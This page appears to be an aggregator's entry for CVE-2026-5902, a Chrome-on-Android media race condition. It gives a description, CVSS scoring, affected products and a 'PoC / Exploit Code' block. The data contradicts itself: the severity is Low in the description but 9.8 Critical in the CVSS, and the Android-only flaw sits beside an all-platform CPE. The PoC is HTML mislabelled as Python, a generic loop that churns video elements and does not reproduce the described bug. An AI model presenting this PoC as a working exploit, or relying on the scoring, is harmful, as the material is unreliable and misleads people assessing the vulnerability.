CVE-2026-5902

Description

Race in Media in Google Chrome on Android prior to 147.0.7727.55 allowed a remote attacker who had compromised the renderer process to corrupt media stream metadata via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome on Android < 147.0.7727.55

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-5902 (Race Condition in Media)
This HTML tries to trigger a race condition in media stream handling.
Note: Exploitability requires a compromised renderer process.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-5902 PoC</title>
</head>
<body>
    <script>
        // Create multiple media elements to stress the media pipeline
        function triggerRace() {
            for (let i = 0; i < 100; i++) {
                let video = document.createElement('video');
                video.src = 'media.mp4'; // Placeholder media file
                document.body.appendChild(video);
                
                // Rapid manipulation to induce race condition
                video.play();
                setTimeout(() => {
                    video.pause();
                    video.src = "";
                    document.body.removeChild(video);
                }, Math.random() * 10);
            }
        }
        
        // Start the loop
        setInterval(triggerRace, 50);
    </script>
    <p>Testing CVE-2026-5902...</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5902
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5902
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5902/
[4] VulDB https://vuldb.com/cve/CVE-2026-5902
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/483109205

Raw JSON Data

JSON

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